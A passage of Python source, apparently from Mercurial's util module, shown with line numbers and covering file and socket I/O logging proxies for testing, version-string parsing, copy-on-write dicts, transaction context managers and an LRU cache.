516 517
517 518 def fileno(self, *args, **kwargs):
518 519 return object.__getattribute__(self, '_observedcall')(
519 520 'fileno', *args, **kwargs
520 521 )
521 522
522 523 def flush(self, *args, **kwargs):
523 524 return object.__getattribute__(self, '_observedcall')(
524 525 'flush', *args, **kwargs
525 526 )
526 527
527 528 def isatty(self, *args, **kwargs):
528 529 return object.__getattribute__(self, '_observedcall')(
529 530 'isatty', *args, **kwargs
530 531 )
531 532
532 533 def readable(self, *args, **kwargs):
533 534 return object.__getattribute__(self, '_observedcall')(
534 535 'readable', *args, **kwargs
535 536 )
536 537
537 538 def readline(self, *args, **kwargs):
538 539 return object.__getattribute__(self, '_observedcall')(
539 540 'readline', *args, **kwargs
540 541 )
541 542
542 543 def readlines(self, *args, **kwargs):
543 544 return object.__getattribute__(self, '_observedcall')(
544 545 'readlines', *args, **kwargs
545 546 )
546 547
547 548 def seek(self, *args, **kwargs):
548 549 return object.__getattribute__(self, '_observedcall')(
549 550 'seek', *args, **kwargs
550 551 )
551 552
552 553 def seekable(self, *args, **kwargs):
553 554 return object.__getattribute__(self, '_observedcall')(
554 555 'seekable', *args, **kwargs
555 556 )
556 557
557 558 def tell(self, *args, **kwargs):
558 559 return object.__getattribute__(self, '_observedcall')(
559 560 'tell', *args, **kwargs
560 561 )
561 562
562 563 def truncate(self, *args, **kwargs):
563 564 return object.__getattribute__(self, '_observedcall')(
564 565 'truncate', *args, **kwargs
565 566 )
566 567
567 568 def writable(self, *args, **kwargs):
568 569 return object.__getattribute__(self, '_observedcall')(
569 570 'writable', *args, **kwargs
570 571 )
571 572
572 573 def writelines(self, *args, **kwargs):
573 574 return object.__getattribute__(self, '_observedcall')(
574 575 'writelines', *args, **kwargs
575 576 )
576 577
577 578 def read(self, *args, **kwargs):
578 579 return object.__getattribute__(self, '_observedcall')(
579 580 'read', *args, **kwargs
580 581 )
581 582
582 583 def readall(self, *args, **kwargs):
583 584 return object.__getattribute__(self, '_observedcall')(
584 585 'readall', *args, **kwargs
585 586 )
586 587
587 588 def readinto(self, *args, **kwargs):
588 589 return object.__getattribute__(self, '_observedcall')(
589 590 'readinto', *args, **kwargs
590 591 )
591 592
592 593 def write(self, *args, **kwargs):
593 594 return object.__getattribute__(self, '_observedcall')(
594 595 'write', *args, **kwargs
595 596 )
596 597
597 598 def detach(self, *args, **kwargs):
598 599 return object.__getattribute__(self, '_observedcall')(
599 600 'detach', *args, **kwargs
600 601 )
601 602
602 603 def read1(self, *args, **kwargs):
603 604 return object.__getattribute__(self, '_observedcall')(
604 605 'read1', *args, **kwargs
605 606 )
606 607
607 608
608 609 class observedbufferedinputpipe(bufferedinputpipe):
609 610 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
610 611
611 612 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
612 613 bypass ``fileobjectproxy``. Because of this, we need to make
613 614 ``bufferedinputpipe`` aware of these operations.
614 615
615 616 This variation of ``bufferedinputpipe`` can notify observers about
616 617 ``os.read()`` events. It also re-publishes other events, such as
617 618 ``read()`` and ``readline()``.
618 619 """
619 620
620 621 def _fillbuffer(self):
621 622 res = super(observedbufferedinputpipe, self)._fillbuffer()
622 623
623 624 fn = getattr(self._input._observer, 'osread', None)
624 625 if fn:
625 626 fn(res, _chunksize)
626 627
627 628 return res
628 629
629 630 # We use different observer methods because the operation isn't
630 631 # performed on the actual file object but on us.
631 632 def read(self, size):
632 633 res = super(observedbufferedinputpipe, self).read(size)
633 634
634 635 fn = getattr(self._input._observer, 'bufferedread', None)
635 636 if fn:
636 637 fn(res, size)
637 638
638 639 return res
639 640
640 641 def readline(self, *args, **kwargs):
641 642 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
642 643
643 644 fn = getattr(self._input._observer, 'bufferedreadline', None)
644 645 if fn:
645 646 fn(res)
646 647
647 648 return res
648 649
649 650
650 651 PROXIED_SOCKET_METHODS = {
651 652 'makefile',
652 653 'recv',
653 654 'recvfrom',
654 655 'recvfrom_into',
655 656 'recv_into',
656 657 'send',
657 658 'sendall',
658 659 'sendto',
659 660 'setblocking',
660 661 'settimeout',
661 662 'gettimeout',
662 663 'setsockopt',
663 664 }
664 665
665 666
666 667 class socketproxy(object):
667 668 """A proxy around a socket that tells a watcher when events occur.
668 669
669 670 This is like ``fileobjectproxy`` except for sockets.
670 671
671 672 This type is intended to only be used for testing purposes. Think hard
672 673 before using it in important code.
673 674 """
674 675
675 676 __slots__ = (
676 677 '_orig',
677 678 '_observer',
678 679 )
679 680
680 681 def __init__(self, sock, observer):
681 682 object.__setattr__(self, '_orig', sock)
682 683 object.__setattr__(self, '_observer', observer)
683 684
684 685 def __getattribute__(self, name):
685 686 if name in PROXIED_SOCKET_METHODS:
686 687 return object.__getattribute__(self, name)
687 688
688 689 return getattr(object.__getattribute__(self, '_orig'), name)
689 690
690 691 def __delattr__(self, name):
691 692 return delattr(object.__getattribute__(self, '_orig'), name)
692 693
693 694 def __setattr__(self, name, value):
694 695 return setattr(object.__getattribute__(self, '_orig'), name, value)
695 696
696 697 def __nonzero__(self):
697 698 return bool(object.__getattribute__(self, '_orig'))
698 699
699 700 __bool__ = __nonzero__
700 701
701 702 def _observedcall(self, name, *args, **kwargs):
702 703 # Call the original object.
703 704 orig = object.__getattribute__(self, '_orig')
704 705 res = getattr(orig, name)(*args, **kwargs)
705 706
706 707 # Call a method on the observer of the same name with arguments
707 708 # so it can react, log, etc.
708 709 observer = object.__getattribute__(self, '_observer')
709 710 fn = getattr(observer, name, None)
710 711 if fn:
711 712 fn(res, *args, **kwargs)
712 713
713 714 return res
714 715
715 716 def makefile(self, *args, **kwargs):
716 717 res = object.__getattribute__(self, '_observedcall')(
717 718 'makefile', *args, **kwargs
718 719 )
719 720
720 721 # The file object may be used for I/O. So we turn it into a
721 722 # proxy using our observer.
722 723 observer = object.__getattribute__(self, '_observer')
723 724 return makeloggingfileobject(
724 725 observer.fh,
725 726 res,
726 727 observer.name,
727 728 reads=observer.reads,
728 729 writes=observer.writes,
729 730 logdata=observer.logdata,
730 731 logdataapis=observer.logdataapis,
731 732 )
732 733
733 734 def recv(self, *args, **kwargs):
734 735 return object.__getattribute__(self, '_observedcall')(
735 736 'recv', *args, **kwargs
736 737 )
737 738
738 739 def recvfrom(self, *args, **kwargs):
739 740 return object.__getattribute__(self, '_observedcall')(
740 741 'recvfrom', *args, **kwargs
741 742 )
742 743
743 744 def recvfrom_into(self, *args, **kwargs):
744 745 return object.__getattribute__(self, '_observedcall')(
745 746 'recvfrom_into', *args, **kwargs
746 747 )
747 748
748 749 def recv_into(self, *args, **kwargs):
749 750 return object.__getattribute__(self, '_observedcall')(
750 751 'recv_info', *args, **kwargs
751 752 )
752 753
753 754 def send(self, *args, **kwargs):
754 755 return object.__getattribute__(self, '_observedcall')(
755 756 'send', *args, **kwargs
756 757 )
757 758
758 759 def sendall(self, *args, **kwargs):
759 760 return object.__getattribute__(self, '_observedcall')(
760 761 'sendall', *args, **kwargs
761 762 )
762 763
763 764 def sendto(self, *args, **kwargs):
764 765 return object.__getattribute__(self, '_observedcall')(
765 766 'sendto', *args, **kwargs
766 767 )
767 768
768 769 def setblocking(self, *args, **kwargs):
769 770 return object.__getattribute__(self, '_observedcall')(
770 771 'setblocking', *args, **kwargs
771 772 )
772 773
773 774 def settimeout(self, *args, **kwargs):
774 775 return object.__getattribute__(self, '_observedcall')(
775 776 'settimeout', *args, **kwargs
776 777 )
777 778
778 779 def gettimeout(self, *args, **kwargs):
779 780 return object.__getattribute__(self, '_observedcall')(
780 781 'gettimeout', *args, **kwargs
781 782 )
782 783
783 784 def setsockopt(self, *args, **kwargs):
784 785 return object.__getattribute__(self, '_observedcall')(
785 786 'setsockopt', *args, **kwargs
786 787 )
787 788
788 789
789 790 class baseproxyobserver(object):
790 791 def _writedata(self, data):
791 792 if not self.logdata:
792 793 if self.logdataapis:
793 794 self.fh.write(b'\n')
794 795 self.fh.flush()
795 796 return
796 797
797 798 # Simple case writes all data on a single line.
798 799 if b'\n' not in data:
799 800 if self.logdataapis:
800 801 self.fh.write(b': %s\n' % stringutil.escapestr(data))
801 802 else:
802 803 self.fh.write(
803 804 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
804 805 )
805 806 self.fh.flush()
806 807 return
807 808
808 809 # Data with newlines is written to multiple lines.
809 810 if self.logdataapis:
810 811 self.fh.write(b':\n')
811 812
812 813 lines = data.splitlines(True)
813 814 for line in lines:
814 815 self.fh.write(
815 816 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
816 817 )
817 818 self.fh.flush()
818 819
819 820
820 821 class fileobjectobserver(baseproxyobserver):
821 822 """Logs file object activity."""
822 823
823 824 def __init__(
824 825 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
825 826 ):
826 827 self.fh = fh
827 828 self.name = name
828 829 self.logdata = logdata
829 830 self.logdataapis = logdataapis
830 831 self.reads = reads
831 832 self.writes = writes
832 833
833 834 def read(self, res, size=-1):
834 835 if not self.reads:
835 836 return
836 837 # Python 3 can return None from reads at EOF instead of empty strings.
837 838 if res is None:
838 839 res = b''
839 840
840 841 if size == -1 and res == b'':
841 842 # Suppress pointless read(-1) calls that return
842 843 # nothing. These happen _a lot_ on Python 3, and there
843 844 # doesn't seem to be a better workaround to have matching
844 845 # Python 2 and 3 behavior. :(
845 846 return
846 847
847 848 if self.logdataapis:
848 849 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
849 850
850 851 self._writedata(res)
851 852
852 853 def readline(self, res, limit=-1):
853 854 if not self.reads:
854 855 return
855 856
856 857 if self.logdataapis:
857 858 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
858 859
859 860 self._writedata(res)
860 861
861 862 def readinto(self, res, dest):
862 863 if not self.reads:
863 864 return
864 865
865 866 if self.logdataapis:
866 867 self.fh.write(
867 868 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
868 869 )
869 870
870 871 data = dest[0:res] if res is not None else b''
871 872
872 873 # _writedata() uses "in" operator and is confused by memoryview because
873 874 # characters are ints on Python 3.
874 875 if isinstance(data, memoryview):
875 876 data = data.tobytes()
876 877
877 878 self._writedata(data)
878 879
879 880 def write(self, res, data):
880 881 if not self.writes:
881 882 return
882 883
883 884 # Python 2 returns None from some write() calls. Python 3 (reasonably)
884 885 # returns the integer bytes written.
885 886 if res is None and data:
886 887 res = len(data)
887 888
888 889 if self.logdataapis:
889 890 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
890 891
891 892 self._writedata(data)
892 893
893 894 def flush(self, res):
894 895 if not self.writes:
895 896 return
896 897
897 898 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
898 899
899 900 # For observedbufferedinputpipe.
900 901 def bufferedread(self, res, size):
901 902 if not self.reads:
902 903 return
903 904
904 905 if self.logdataapis:
905 906 self.fh.write(
906 907 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
907 908 )
908 909
909 910 self._writedata(res)
910 911
911 912 def bufferedreadline(self, res):
912 913 if not self.reads:
913 914 return
914 915
915 916 if self.logdataapis:
916 917 self.fh.write(
917 918 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
918 919 )
919 920
920 921 self._writedata(res)
921 922
922 923
923 924 def makeloggingfileobject(
924 925 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
925 926 ):
926 927 """Turn a file object into a logging file object."""
927 928
928 929 observer = fileobjectobserver(
929 930 logh,
930 931 name,
931 932 reads=reads,
932 933 writes=writes,
933 934 logdata=logdata,
934 935 logdataapis=logdataapis,
935 936 )
936 937 return fileobjectproxy(fh, observer)
937 938
938 939
939 940 class socketobserver(baseproxyobserver):
940 941 """Logs socket activity."""
941 942
942 943 def __init__(
943 944 self,
944 945 fh,
945 946 name,
946 947 reads=True,
947 948 writes=True,
948 949 states=True,
949 950 logdata=False,
950 951 logdataapis=True,
951 952 ):
952 953 self.fh = fh
953 954 self.name = name
954 955 self.reads = reads
955 956 self.writes = writes
956 957 self.states = states
957 958 self.logdata = logdata
958 959 self.logdataapis = logdataapis
959 960
960 961 def makefile(self, res, mode=None, bufsize=None):
961 962 if not self.states:
962 963 return
963 964
964 965 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
965 966
966 967 def recv(self, res, size, flags=0):
967 968 if not self.reads:
968 969 return
969 970
970 971 if self.logdataapis:
971 972 self.fh.write(
972 973 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
973 974 )
974 975 self._writedata(res)
975 976
976 977 def recvfrom(self, res, size, flags=0):
977 978 if not self.reads:
978 979 return
979 980
980 981 if self.logdataapis:
981 982 self.fh.write(
982 983 b'%s> recvfrom(%d, %d) -> %d'
983 984 % (self.name, size, flags, len(res[0]))
984 985 )
985 986
986 987 self._writedata(res[0])
987 988
988 989 def recvfrom_into(self, res, buf, size, flags=0):
989 990 if not self.reads:
990 991 return
991 992
992 993 if self.logdataapis:
993 994 self.fh.write(
994 995 b'%s> recvfrom_into(%d, %d) -> %d'
995 996 % (self.name, size, flags, res[0])
996 997 )
997 998
998 999 self._writedata(buf[0 : res[0]])
999 1000
1000 1001 def recv_into(self, res, buf, size=0, flags=0):
1001 1002 if not self.reads:
1002 1003 return
1003 1004
1004 1005 if self.logdataapis:
1005 1006 self.fh.write(
1006 1007 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1007 1008 )
1008 1009
1009 1010 self._writedata(buf[0:res])
1010 1011
1011 1012 def send(self, res, data, flags=0):
1012 1013 if not self.writes:
1013 1014 return
1014 1015
1015 1016 self.fh.write(
1016 1017 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1017 1018 )
1018 1019 self._writedata(data)
1019 1020
1020 1021 def sendall(self, res, data, flags=0):
1021 1022 if not self.writes:
1022 1023 return
1023 1024
1024 1025 if self.logdataapis:
1025 1026 # Returns None on success. So don't bother reporting return value.
1026 1027 self.fh.write(
1027 1028 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1028 1029 )
1029 1030
1030 1031 self._writedata(data)
1031 1032
1032 1033 def sendto(self, res, data, flagsoraddress, address=None):
1033 1034 if not self.writes:
1034 1035 return
1035 1036
1036 1037 if address:
1037 1038 flags = flagsoraddress
1038 1039 else:
1039 1040 flags = 0
1040 1041
1041 1042 if self.logdataapis:
1042 1043 self.fh.write(
1043 1044 b'%s> sendto(%d, %d, %r) -> %d'
1044 1045 % (self.name, len(data), flags, address, res)
1045 1046 )
1046 1047
1047 1048 self._writedata(data)
1048 1049
1049 1050 def setblocking(self, res, flag):
1050 1051 if not self.states:
1051 1052 return
1052 1053
1053 1054 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1054 1055
1055 1056 def settimeout(self, res, value):
1056 1057 if not self.states:
1057 1058 return
1058 1059
1059 1060 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1060 1061
1061 1062 def gettimeout(self, res):
1062 1063 if not self.states:
1063 1064 return
1064 1065
1065 1066 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1066 1067
1067 1068 def setsockopt(self, res, level, optname, value):
1068 1069 if not self.states:
1069 1070 return
1070 1071
1071 1072 self.fh.write(
1072 1073 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1073 1074 % (self.name, level, optname, value, res)
1074 1075 )
1075 1076
1076 1077
1077 1078 def makeloggingsocket(
1078 1079 logh,
1079 1080 fh,
1080 1081 name,
1081 1082 reads=True,
1082 1083 writes=True,
1083 1084 states=True,
1084 1085 logdata=False,
1085 1086 logdataapis=True,
1086 1087 ):
1087 1088 """Turn a socket into a logging socket."""
1088 1089
1089 1090 observer = socketobserver(
1090 1091 logh,
1091 1092 name,
1092 1093 reads=reads,
1093 1094 writes=writes,
1094 1095 states=states,
1095 1096 logdata=logdata,
1096 1097 logdataapis=logdataapis,
1097 1098 )
1098 1099 return socketproxy(fh, observer)
1099 1100
1100 1101
1101 1102 def version():
1102 1103 """Return version information if available."""
1103 1104 try:
1104 1105 from . import __version__
1105 1106
1106 1107 return __version__.version
1107 1108 except ImportError:
1108 1109 return b'unknown'
1109 1110
1110 1111
1111 1112 def versiontuple(v=None, n=4):
1112 1113 """Parses a Mercurial version string into an N-tuple.
1113 1114
1114 1115 The version string to be parsed is specified with the ``v`` argument.
1115 1116 If it isn't defined, the current Mercurial version string will be parsed.
1116 1117
1117 1118 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1118 1119 returned values:
1119 1120
1120 1121 >>> v = b'3.6.1+190-df9b73d2d444'
1121 1122 >>> versiontuple(v, 2)
1122 1123 (3, 6)
1123 1124 >>> versiontuple(v, 3)
1124 1125 (3, 6, 1)
1125 1126 >>> versiontuple(v, 4)
1126 1127 (3, 6, 1, '190-df9b73d2d444')
1127 1128
1128 1129 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1129 1130 (3, 6, 1, '190-df9b73d2d444+20151118')
1130 1131
1131 1132 >>> v = b'3.6'
1132 1133 >>> versiontuple(v, 2)
1133 1134 (3, 6)
1134 1135 >>> versiontuple(v, 3)
1135 1136 (3, 6, None)
1136 1137 >>> versiontuple(v, 4)
1137 1138 (3, 6, None, None)
1138 1139
1139 1140 >>> v = b'3.9-rc'
1140 1141 >>> versiontuple(v, 2)
1141 1142 (3, 9)
1142 1143 >>> versiontuple(v, 3)
1143 1144 (3, 9, None)
1144 1145 >>> versiontuple(v, 4)
1145 1146 (3, 9, None, 'rc')
1146 1147
1147 1148 >>> v = b'3.9-rc+2-02a8fea4289b'
1148 1149 >>> versiontuple(v, 2)
1149 1150 (3, 9)
1150 1151 >>> versiontuple(v, 3)
1151 1152 (3, 9, None)
1152 1153 >>> versiontuple(v, 4)
1153 1154 (3, 9, None, 'rc+2-02a8fea4289b')
1154 1155
1155 1156 >>> versiontuple(b'4.6rc0')
1156 1157 (4, 6, None, 'rc0')
1157 1158 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1158 1159 (4, 6, None, 'rc0+12-425d55e54f98')
1159 1160 >>> versiontuple(b'.1.2.3')
1160 1161 (None, None, None, '.1.2.3')
1161 1162 >>> versiontuple(b'12.34..5')
1162 1163 (12, 34, None, '..5')
1163 1164 >>> versiontuple(b'1.2.3.4.5.6')
1164 1165 (1, 2, 3, '.4.5.6')
1165 1166 """
1166 1167 if not v:
1167 1168 v = version()
1168 1169 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1169 1170 if not m:
1170 1171 vparts, extra = b'', v
1171 1172 elif m.group(2):
1172 1173 vparts, extra = m.groups()
1173 1174 else:
1174 1175 vparts, extra = m.group(1), None
1175 1176
1176 1177 vints = []
1177 1178 for i in vparts.split(b'.'):
1178 1179 try:
1179 1180 vints.append(int(i))
1180 1181 except ValueError:
1181 1182 break
1182 1183 # (3, 6) -> (3, 6, None)
1183 1184 while len(vints) < 3:
1184 1185 vints.append(None)
1185 1186
1186 1187 if n == 2:
1187 1188 return (vints[0], vints[1])
1188 1189 if n == 3:
1189 1190 return (vints[0], vints[1], vints[2])
1190 1191 if n == 4:
1191 1192 return (vints[0], vints[1], vints[2], extra)
1192 1193
1193 1194
1194 1195 def cachefunc(func):
1195 1196 '''cache the result of function calls'''
1196 1197 # XXX doesn't handle keywords args
1197 1198 if func.__code__.co_argcount == 0:
1198 1199 cache = []
1199 1200
1200 1201 def f():
1201 1202 if len(cache) == 0:
1202 1203 cache.append(func())
1203 1204 return cache[0]
1204 1205
1205 1206 return f
1206 1207 cache = {}
1207 1208 if func.__code__.co_argcount == 1:
1208 1209 # we gain a small amount of time because
1209 1210 # we don't need to pack/unpack the list
1210 1211 def f(arg):
1211 1212 if arg not in cache:
1212 1213 cache[arg] = func(arg)
1213 1214 return cache[arg]
1214 1215
1215 1216 else:
1216 1217
1217 1218 def f(*args):
1218 1219 if args not in cache:
1219 1220 cache[args] = func(*args)
1220 1221 return cache[args]
1221 1222
1222 1223 return f
1223 1224
1224 1225
1225 1226 class cow(object):
1226 1227 """helper class to make copy-on-write easier
1227 1228
1228 1229 Call preparewrite before doing any writes.
1229 1230 """
1230 1231
1231 1232 def preparewrite(self):
1232 1233 """call this before writes, return self or a copied new object"""
1233 1234 if getattr(self, '_copied', 0):
1234 1235 self._copied -= 1
1235 1236 return self.__class__(self)
1236 1237 return self
1237 1238
1238 1239 def copy(self):
1239 1240 """always do a cheap copy"""
1240 1241 self._copied = getattr(self, '_copied', 0) + 1
1241 1242 return self
1242 1243
1243 1244
1244 1245 class sortdict(collections.OrderedDict):
1245 1246 '''a simple sorted dictionary
1246 1247
1247 1248 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1248 1249 >>> d2 = d1.copy()
1249 1250 >>> d2
1250 1251 sortdict([('a', 0), ('b', 1)])
1251 1252 >>> d2.update([(b'a', 2)])
1252 1253 >>> list(d2.keys()) # should still be in last-set order
1253 1254 ['b', 'a']
1254 1255 '''
1255 1256
1256 1257 def __setitem__(self, key, value):
1257 1258 if key in self:
1258 1259 del self[key]
1259 1260 super(sortdict, self).__setitem__(key, value)
1260 1261
1261 1262 if pycompat.ispypy:
1262 1263 # __setitem__() isn't called as of PyPy 5.8.0
1263 1264 def update(self, src):
1264 1265 if isinstance(src, dict):
1265 1266 src = pycompat.iteritems(src)
1266 1267 for k, v in src:
1267 1268 self[k] = v
1268 1269
1269 1270
1270 1271 class cowdict(cow, dict):
1271 1272 """copy-on-write dict
1272 1273
1273 1274 Be sure to call d = d.preparewrite() before writing to d.
1274 1275
1275 1276 >>> a = cowdict()
1276 1277 >>> a is a.preparewrite()
1277 1278 True
1278 1279 >>> b = a.copy()
1279 1280 >>> b is a
1280 1281 True
1281 1282 >>> c = b.copy()
1282 1283 >>> c is a
1283 1284 True
1284 1285 >>> a = a.preparewrite()
1285 1286 >>> b is a
1286 1287 False
1287 1288 >>> a is a.preparewrite()
1288 1289 True
1289 1290 >>> c = c.preparewrite()
1290 1291 >>> b is c
1291 1292 False
1292 1293 >>> b is b.preparewrite()
1293 1294 True
1294 1295 """
1295 1296
1296 1297
1297 1298 class cowsortdict(cow, sortdict):
1298 1299 """copy-on-write sortdict
1299 1300
1300 1301 Be sure to call d = d.preparewrite() before writing to d.
1301 1302 """
1302 1303
1303 1304
1304 1305 class transactional(object): # pytype: disable=ignored-metaclass
1305 1306 """Base class for making a transactional type into a context manager."""
1306 1307
1307 1308 __metaclass__ = abc.ABCMeta
1308 1309
1309 1310 @abc.abstractmethod
1310 1311 def close(self):
1311 1312 """Successfully closes the transaction."""
1312 1313
1313 1314 @abc.abstractmethod
1314 1315 def release(self):
1315 1316 """Marks the end of the transaction.
1316 1317
1317 1318 If the transaction has not been closed, it will be aborted.
1318 1319 """
1319 1320
1320 1321 def __enter__(self):
1321 1322 return self
1322 1323
1323 1324 def __exit__(self, exc_type, exc_val, exc_tb):
1324 1325 try:
1325 1326 if exc_type is None:
1326 1327 self.close()
1327 1328 finally:
1328 1329 self.release()
1329 1330
1330 1331
1331 1332 @contextlib.contextmanager
1332 1333 def acceptintervention(tr=None):
1333 1334 """A context manager that closes the transaction on InterventionRequired
1334 1335
1335 1336 If no transaction was provided, this simply runs the body and returns
1336 1337 """
1337 1338 if not tr:
1338 1339 yield
1339 1340 return
1340 1341 try:
1341 1342 yield
1342 1343 tr.close()
1343 1344 except error.InterventionRequired:
1344 1345 tr.close()
1345 1346 raise
1346 1347 finally:
1347 1348 tr.release()
1348 1349
1349 1350
1350 1351 @contextlib.contextmanager
1351 1352 def nullcontextmanager():
1352 1353 yield
1353 1354
1354 1355
1355 1356 class _lrucachenode(object):
1356 1357 """A node in a doubly linked list.
1357 1358
1358 1359 Holds a reference to nodes on either side as well as a key-value
1359 1360 pair for the dictionary entry.
1360 1361 """
1361 1362
1362 1363 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1363 1364
1364 1365 def __init__(self):
1365 1366 self.next = None
1366 1367 self.prev = None
1367 1368
1368 1369 self.key = _notset
1369 1370 self.value = None
1370 1371 self.cost = 0
1371 1372
1372 1373 def markempty(self):
1373 1374 """Mark the node as emptied."""
1374 1375 self.key = _notset
1375 1376 self.value = None
1376 1377 self.cost = 0
1377 1378
1378 1379
1379 1380 class lrucachedict(object):
1380 1381 """Dict that caches most recent accesses and sets.
1381 1382
1382 1383 The dict consists of an actual backing dict - indexed by original
1383 1384 key - and a doubly linked circular list defining the order of entries in
1384 1385 the cache.
1385 1386
1386 1387 The head node is the newest entry in the cache. If the cache is full,
1387 1388 we recycle head.prev and make it the new head. Cache accesses result in
1388 1389 the node being moved to before the existing head and being marked as the
1389 1390 new head node.
1390 1391
1391 1392 Items in the cache can be inserted with an optional "cost" value. This is
1392 1393 simply an integer that is specified by the caller. The cache can be queried
1393 1394 for the total cost of all items presently in the cache.
1394 1395
1395 1396 The cache can also define a maximum cost. If a cache insertion would
1396 1397 cause the total cost of the cache to go beyond the maximum cost limit,
1397 1398 nodes will be evicted to make room for the new code. This can be used
1398 1399 to e.g. set a max memory limit and associate an estimated bytes size
1399 1400 cost to each item in the cache. By default, no maximum cost is enforced.
1400 1401 """
1401 1402
1402 1403 def __init__(self, max, maxcost=0):
1403 1404 self._cache = {}
1404 1405
1405 1406 self._head = head = _lrucachenode()
1406 1407 head.prev = head
1407 1408 head.next = head
1408 1409 self._size = 1
1409 1410 self.capacity = max
1410 1411 self.totalcost = 0
1411 1412 self.maxcost = maxcost
1412 1413
1413 1414 def __len__(self):
1414 1415 return len(self._cache)
1415 1416
1416 1417 def __contains__(self, k):
1417 1418 return k in self._cache
1418 1419
1419 1420 def __iter__(self):
1420 1421 # We don't have to iterate in cache order, but why not.
1421 1422 n = self._head
1422 1423 for i in range(len(self._cache)):
1423 1424 yield n.key
1424 1425 n = n.next
1425 1426
1426 1427 def __getitem__(self, k):
1427 1428 node = self._cache[k]
1428 1429 self._movetohead(node)
1429 1430 return node.value
1430 1431
1431 1432 def insert(self, k, v, cost=0):
1432 1433 """Insert a new item in the cache with optional cost value."""
1433 1434 node = self._cache.get(k)
1434 1435 # Replace existing value and mark as newest.
1435 1436 if node is not None:
1436 1437 self.totalcost -= node.cost
1437 1438 node.value = v
1438 1439 node.cost = cost
1439 1440 self.totalcost += cost
1440 1441 self._movetohead(node)
1441 1442
1442 1443 if self.maxcost:
1443 1444 self._enforcecostlimit()
1444 1445
1445 1446 return
1446 1447
1447 1448 if self._size < self.capacity:
1448 1449 node = self._addcapacity()
1449 1450 else:
1450 1451 # Grab the last/oldest item.
1451 1452 node = self._head.prev
1452 1453
1453 1454 # At capacity. Kill the old entry.
1454 1455 if node.key is not _notset:
1455 1456 self.totalcost -= node.cost
1456 1457 del self._cache[node.key]
1457 1458
1458 1459 node.key = k
1459 1460 node.value = v
1460 1461 node.cost = cost
1461 1462 self.totalcost += cost
1462 1463 self._cache[k] = node
1463 1464 # And mark it as newest entry. No need to adjust order since it
1464 1465 # is already self._head.prev.
1465 1466 self._head = node
1466 1467
1467 1468 if self.maxcost:
1468 1469 self._enforcecostlimit()
1469 1470
1470 1471 def __setitem__(self, k, v):
1471 1472 self.insert(k, v)
1472 1473
1473 1474 def __delitem__(self, k):
1474 1475 self.pop(k)
1475 1476
1476 1477 def pop(self, k, default=_notset):
1477 1478 try:
1478 1479 node = self._cache.pop(k)
1479 1480 except KeyError:
1480 1481 if default is _notset:
1481 1482 raise
1482 1483 return default
1483 1484 value = node.value
1484 1485 self.totalcost -= node.cost
1485 1486 node.markempty()
1486 1487
1487 1488 # Temporarily mark as newest item before re-adjusting head to make
1488 1489 # this node the oldest item.
1489 1490 self._movetohead(node)
1490 1491 self._head = node.next
1491 1492
1492 1493 return value
1493 1494
1494 1495 # Additional dict methods.
1495 1496
1496 1497 def get(self, k, default=None):
1497 1498 try:
1498 1499 return self.__getitem__(k)
1499 1500 except KeyError:
1500 1501 return default
1501 1502
1502 1503 def peek(self, k, default=_notset):
1503 1504 """Get the specified item without moving it to the head
1504 1505
1505 1506 Unlike get(), this doesn't mutate the internal state. But be aware
1506 1507 that it doesn't mean peek() is thread safe.
1507 1508 """
1508 1509 try:
1509 1510 node = self._cache[k]
1510 1511 return node.value
1511 1512 except KeyError:
1512 1513 if default is _notset:
1513 1514 raise
1514 1515 return default
1515 1516
1516 1517 def clear(self):
1517 1518 n = self._head
1518 1519 while n.key is not _notset:
1519 1520 self.totalcost -= n.cost
1520 1521 n.markempty()
1521 1522 n = n.next
1522 1523
1523 1524 self._cache.clear()
1524 1525
1525 1526 def copy(self, capacity=None, maxcost=0):
1526 1527 """Create a new cache as a copy of the current one.
1527 1528
1528 1529 By default, the new cache has the same capacity as the existing one.
1529 1530 But, the cache capacity can be changed as part of performing the
1530 1531 copy.
1531 1532
1532 1533 Items in the copy have an insertion/access order matching this
1533 1534 instance.
1534 1535 """
1535 1536
1536 1537 capacity = capacity or self.capacity
1537 1538 maxcost = maxcost or self.maxcost
1538 1539 result = lrucachedict(capacity, maxcost=maxcost)
1539 1540
1540 1541 # We copy entries by iterating in oldest-to-newest order so the copy
1541 1542 # has the correct ordering.
1542 1543
1543 1544 # Find the first non-empty entry.
1544 1545 n = self._head.prev
1545 1546 while n.key is _notset and n is not self._head:
1546 1547 n = n.prev
1547 1548
1548 1549 # We could potentially skip the first N items when decreasing capacity.
1549 1550 # But let's keep it simple unless it is a performance problem.
1550 1551 for i in range(len(self._cache)):
1551 1552 result.insert(n.key, n.value, cost=n.cost)
1552 1553 n = n.prev
1553 1554
1554 1555 return result
1555 1556
1556 1557 def popoldest(self):
1557 1558 """Remove the oldest item from the cache.
1558 1559
1559 1560 Returns the (key, value) describing the removed cache entry.
1560 1561 """
1561 1562 if not self._cache:
1562 1563 return
